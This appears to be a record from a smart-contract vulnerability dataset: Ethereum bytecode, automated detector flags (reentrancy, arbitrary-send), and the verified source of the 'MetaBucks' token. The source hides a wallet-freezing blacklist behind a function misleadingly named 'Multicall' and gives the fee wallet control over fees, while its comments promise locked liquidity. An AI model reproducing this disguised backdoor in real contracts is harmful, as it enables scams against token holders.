0460ff16158015611a275750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601060169054906101000a900460ff165b15611a6757611a4d81611c6a565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b2684848484612029565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612d39565b60405180910390fd5b5060008385611b8391906130d2565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf8573d6000803e3d6000fd5b5050565b6000600854821115611c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3a90612d7b565b60405180910390fd5b6000611c4d612056565b9050611c628184611fdf90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cc8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611cf65781602001602082028036833780820191505090505b5090503081600081518110611d34577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dd657600080fd5b505afa158015611dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0e91906127cb565b81600181518110611e48577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eaf30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f13959493929190612ed6565b600060405180830381600087803b158015611f2d57600080fd5b505af1158015611f41573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b600080831415611f775760009050611fd9565b60008284611f859190613078565b9050828482611f949190613047565b14611fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcb90612dfb565b60405180910390fd5b809150505b92915050565b600061202183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612081565b905092915050565b80612037576120366120e4565b5b612042848484612127565b806120505761204f6122f2565b5b50505050565b6000806000612063612306565b9150915061207a8183611fdf90919063ffffffff16565b9250505090565b600080831182906120c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bf9190612d39565b60405180910390fd5b50600083856120d79190613047565b9050809150509392505050565b6000600a541480156120f857506000600b54145b1561210257612125565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213987612368565b95509550955095509550955061219786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227881612478565b6122828483612535565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122df9190612ebb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea00000905061233c683635c9adc5dea00000600854611fdf90919063ffffffff16565b82101561235b57600854683635c9adc5dea00000935093505050612364565b81819350935050505b9091565b60008060008060008060008060006123858a600a54600b5461256f565b9250925092506000612395612056565b905060008060006123a88e878787612605565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124299190612ff1565b90508381101561246e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246590612dbb565b60405180910390fd5b8091505092915050565b6000612482612056565b905060006124998284611f6490919063ffffffff16565b90506124ed81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61254a826008546123d090919063ffffffff16565b6008819055506125658160095461241a90919063ffffffff16565b6009819055505050565b60008060008061259b606461258d888a611f6490919063ffffffff16565b611fdf90919063ffffffff16565b905060006125c560646125b7888b611f6490919063ffffffff16565b611fdf90919063ffffffff16565b905060006125ee826125e0858c6123d090919063ffffffff16565b6123d090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061261e8589611f6490919063ffffffff16565b905060006126358689611f6490919063ffffffff16565b9050600061264c8789611f6490919063ffffffff16565b905060006126758261266785876123d090919063ffffffff16565b6123d090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126a161269c84612f70565b612f4b565b905080838252602082019050828560208602820111156126c057600080fd5b60005b858110156126f057816126d688826126fa565b8452602084019350602083019250506001810190506126c3565b5050509392505050565b60008135905061270981613585565b92915050565b60008151905061271e81613585565b92915050565b600082601f83011261273557600080fd5b813561274584826020860161268e565b91505092915050565b60008135905061275d8161359c565b92915050565b6000815190506127728161359c565b92915050565b600081359050612787816135b3565b92915050565b60008151905061279c816135b3565b92915050565b6000602082840312156127b457600080fd5b60006127c2848285016126fa565b91505092915050565b6000602082840312156127dd57600080fd5b60006127eb8482850161270f565b91505092915050565b6000806040838503121561280757600080fd5b6000612815858286016126fa565b9250506020612826858286016126fa565b9150509250929050565b60008060006060848603121561284557600080fd5b6000612853868287016126fa565b9350506020612864868287016126fa565b925050604061287586828701612778565b9150509250925092565b6000806040838503121561289257600080fd5b60006128a0858286016126fa565b92505060206128b185828601612778565b9150509250929050565b6000602082840312156128cd57600080fd5b600082013567ffffffffffffffff8111156128e757600080fd5b6128f384828501612724565b91505092915050565b60006020828403121561290e57600080fd5b600061291c8482850161274e565b91505092915050565b60006020828403121561293757600080fd5b600061294584828501612763565b91505092915050565b60006020828403121561296057600080fd5b600061296e84828501612778565b91505092915050565b60008060006060848603121561298c57600080fd5b600061299a8682870161278d565b93505060206129ab8682870161278d565b92505060406129bc8682870161278d565b9150509250925092565b60006129d283836129de565b60208301905092915050565b6129e781613106565b82525050565b6129f681613106565b82525050565b6000612a0782612fac565b612a118185612fcf565b9350612a1c83612f9c565b8060005b83811015612a4d578151612a3488826129c6565b9750612a3f83612fc2565b925050600181019050612a20565b5085935050505092915050565b612a6381613118565b82525050565b612a728161315b565b82525050565b6000612a8382612fb7565b612a8d8185612fe0565b9350612a9d81856020860161316d565b612aa6816132a7565b840191505092915050565b6000612abe602383612fe0565b9150612ac9826132b8565b604082019050919050565b6000612ae1602a83612fe0565b9150612aec82613307565b604082019050919050565b6000612b04602283612fe0565b9150612b0f82613356565b604082019050919050565b6000612b27601b83612fe0565b9150612b32826133a5565b602082019050919050565b6000612b4a601d83612fe0565b9150612b55826133ce565b602082019050919050565b6000612b6d602183612fe0565b9150612b78826133f7565b604082019050919050565b6000612b90602083612fe0565b9150612b9b82613446565b602082019050919050565b6000612bb3602983612fe0565b9150612bbe8261346f565b604082019050919050565b6000612bd6602583612fe0565b9150612be1826134be565b604082019050919050565b6000612bf9602483612fe0565b9150612c048261350d565b604082019050919050565b6000612c1c601783612fe0565b9150612c278261355c565b602082019050919050565b612c3b81613144565b82525050565b612c4a8161314e565b82525050565b6000602082019050612c6560008301846129ed565b92915050565b6000604082019050612c8060008301856129ed565b612c8d60208301846129ed565b9392505050565b6000604082019050612ca960008301856129ed565b612cb66020830184612c32565b9392505050565b600060c082019050612cd260008301896129ed565b612cdf6020830188612c32565b612cec6040830187612a69565b612cf96060830186612a69565b612d0660808301856129ed565b612d1360a0830184612c32565b979650505050505050565b6000602082019050612d336000830184612a5a565b92915050565b60006020820190508181036000830152612d538184612a78565b905092915050565b60006020820190508181036000830152612d7481612ab1565b9050919050565b60006020820190508181036000830152612d9481612ad4565b9050919050565b60006020820190508181036000830152612db481612af7565b9050919050565b60006020820190508181036000830152612dd481612b1a565b9050919050565b60006020820190508181036000830152612df481612b3d565b9050919050565b60006020820190508181036000830152612e1481612b60565b9050919050565b60006020820190508181036000830152612e3481612b83565b9050919050565b60006020820190508181036000830152612e5481612ba6565b9050919050565b60006020820190508181036000830152612e7481612bc9565b9050919050565b60006020820190508181036000830152612e9481612bec565b9050919050565b60006020820190508181036000830152612eb481612c0f565b9050919050565b6000602082019050612ed06000830184612c32565b92915050565b600060a082019050612eeb6000830188612c32565b612ef86020830187612a69565b8181036040830152612f0a81866129fc565b9050612f1960608301856129ed565b612f266080830184612c32565b9695505050505050565b6000602082019050612f456000830184612c41565b92915050565b6000612f55612f66565b9050612f6182826131a0565b919050565b6000604051905090565b600067ffffffffffffffff821115612f8b57612f8a613278565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ffc82613144565b915061300783613144565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561303c5761303b61321a565b5b828201905092915050565b600061305282613144565b915061305d83613144565b92508261306d5761306c613249565b5b828204905092915050565b600061308382613144565b915061308e83613144565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130c7576130c661321a565b5b828202905092915050565b60006130dd82613144565b91506130e883613144565b9250828210156130fb576130fa61321a565b5b828203905092915050565b600061311182613124565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061316682613144565b9050919050565b60005b8381101561318b578082015181840152602081019050613170565b8381111561319a576000848401525b50505050565b6131a9826132a7565b810181811067ffffffffffffffff821117156131c8576131c7613278565b5b80604052505050565b60006131dc82613144565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561320f5761320e61321a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61358e81613106565b811461359957600080fd5b50565b6135a581613118565b81146135b057600080fd5b50565b6135bc81613144565b81146135c757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e110c426053d0cab47a38fc73842b207af3cc8c552e26c597404e67be37ee36e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,097 |
0x0029583419a9eb345d095ad1a7d41789bc8cfe58
|
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/**
-------- Moon Or Dust ---------
Zuck Bucks, The New Meta : https://twitter.com/firstpost/status/1512400246894383111?s=20&t=aPUAIK4r7iPqQRkYOjA51w
LP Locked, OwnerShip Will be Renounced at 50k
MetaBucks, the new meta !
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract METABUCKS is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MetaBucks"; ////
string public constant symbol = unicode"METABUCKS"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 7;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106102085760003560e01c806349bd5a5e1161011857806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105fa578063db92dbb61461060f578063dcb0e0ad14610624578063dd62ed3e14610644578063e8078d941461068a57600080fd5b806395d89b411461057a578063a9059cbb146105af578063b2131f7d146105cf578063c3c8cd80146105e557600080fd5b806370a08231116100e757806370a08231146104e7578063715018a6146105075780637a49cddb1461051c5780638da5cb5b1461053c57806394b8d8f21461055a57600080fd5b806349bd5a5e1461047c578063509016171461049c578063590f897e146104bc5780636fc3eaec146104d257600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b55780633bbac579146103ed5780633bed43551461042657806340b9a54b1461044657806345596e2e1461045c57600080fd5b806327f3a72a14610343578063313ce5671461035857806331c2d8471461037f57806332d873d81461039f57600080fd5b80630b78f9c0116101d75780630b78f9c0146102d157806318160ddd146102f15780631940d0201461030d57806323b872dd1461032357600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f61461027f578063095ea7b3146102a157600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b50610272604051806040016040528060098152602001684d6574614275636b7360b81b81525081565b6040516102349190611c24565b34801561028b57600080fd5b5061029f61029a366004611c9e565b61069f565b005b3480156102ad57600080fd5b506102c16102bc366004611cbb565b610714565b6040519015158152602001610234565b3480156102dd57600080fd5b5061029f6102ec366004611ce7565b61072a565b3480156102fd57600080fd5b50683635c9adc5dea0000061022a565b34801561031957600080fd5b5061022a600f5481565b34801561032f57600080fd5b506102c161033e366004611d09565b6107ad565b34801561034f57600080fd5b5061022a610895565b34801561036457600080fd5b5061036d600981565b60405160ff9091168152602001610234565b34801561038b57600080fd5b5061029f61039a366004611d60565b6108a5565b3480156103ab57600080fd5b5061022a60105481565b3480156103c157600080fd5b506009546103d5906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103f957600080fd5b506102c1610408366004611c9e565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043257600080fd5b506008546103d5906001600160a01b031681565b34801561045257600080fd5b5061022a600b5481565b34801561046857600080fd5b5061029f610477366004611e25565b610931565b34801561048857600080fd5b50600a546103d5906001600160a01b031681565b3480156104a857600080fd5b5061029f6104b7366004611c9e565b6109f5565b3480156104c857600080fd5b5061022a600c5481565b3480156104de57600080fd5b5061029f610a63565b3480156104f357600080fd5b5061022a610502366004611c9e565b610a90565b34801561051357600080fd5b5061029f610aab565b34801561052857600080fd5b5061029f610537366004611d60565b610b1f565b34801561054857600080fd5b506000546001600160a01b03166103d5565b34801561056657600080fd5b506011546102c19062010000900460ff1681565b34801561058657600080fd5b50610272604051806040016040528060098152602001684d4554414255434b5360b81b81525081565b3480156105bb57600080fd5b506102c16105ca366004611cbb565b610c2e565b3480156105db57600080fd5b5061022a600d5481565b3480156105f157600080fd5b5061029f610c3b565b34801561060657600080fd5b5061029f610c71565b34801561061b57600080fd5b5061022a610d15565b34801561063057600080fd5b5061029f61063f366004611e4c565b610d2d565b34801561065057600080fd5b5061022a61065f366004611e69565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069657600080fd5b5061029f610daa565b6008546001600160a01b0316336001600160a01b0316146106bf57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006107213384846110f1565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074a57600080fd5b600a82111561075857600080fd5b600a81111561076657600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107db57506001600160a01b03831660009081526004602052604090205460ff16155b80156107f45750600a546001600160a01b038581169116145b15610843576001600160a01b03831632146108435760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084e848484611215565b6001600160a01b038416600090815260036020908152604080832033845290915281205461087d908490611eb8565b905061088a8533836110f1565b506001949350505050565b60006108a030610a90565b905090565b6008546001600160a01b0316336001600160a01b0316146108c557600080fd5b60005b815181101561092d576000600660008484815181106108e9576108e9611ecf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092581611ee5565b9150506108c8565b5050565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161083a90611efe565b6008546001600160a01b0316336001600160a01b03161461097b57600080fd5b600081116109c05760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161083a565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610709565b6009546001600160a01b0316336001600160a01b031614610a1557600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610709565b6008546001600160a01b0316336001600160a01b031614610a8357600080fd5b47610a8d81611883565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161083a90611efe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b3f57600080fd5b60005b815181101561092d57600a5482516001600160a01b0390911690839083908110610b6e57610b6e611ecf565b60200260200101516001600160a01b031614158015610bbf575060075482516001600160a01b0390911690839083908110610bab57610bab611ecf565b60200260200101516001600160a01b031614155b15610c1c57600160066000848481518110610bdc57610bdc611ecf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c2681611ee5565b915050610b42565b6000610721338484611215565b6008546001600160a01b0316336001600160a01b031614610c5b57600080fd5b6000610c6630610a90565b9050610a8d81611908565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b815260040161083a90611efe565b60115460ff1615610ce85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083a565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a546000906108a0906001600160a01b0316610a90565b6000546001600160a01b03163314610d575760405162461bcd60e51b815260040161083a90611efe565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610709565b6000546001600160a01b03163314610dd45760405162461bcd60e51b815260040161083a90611efe565b60115460ff1615610e215760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083a565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e5e3082683635c9adc5dea000006110f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9c573d6000803